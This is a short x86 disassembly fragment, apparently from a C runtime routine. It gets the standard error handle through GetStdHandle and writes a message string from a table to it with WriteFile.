add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret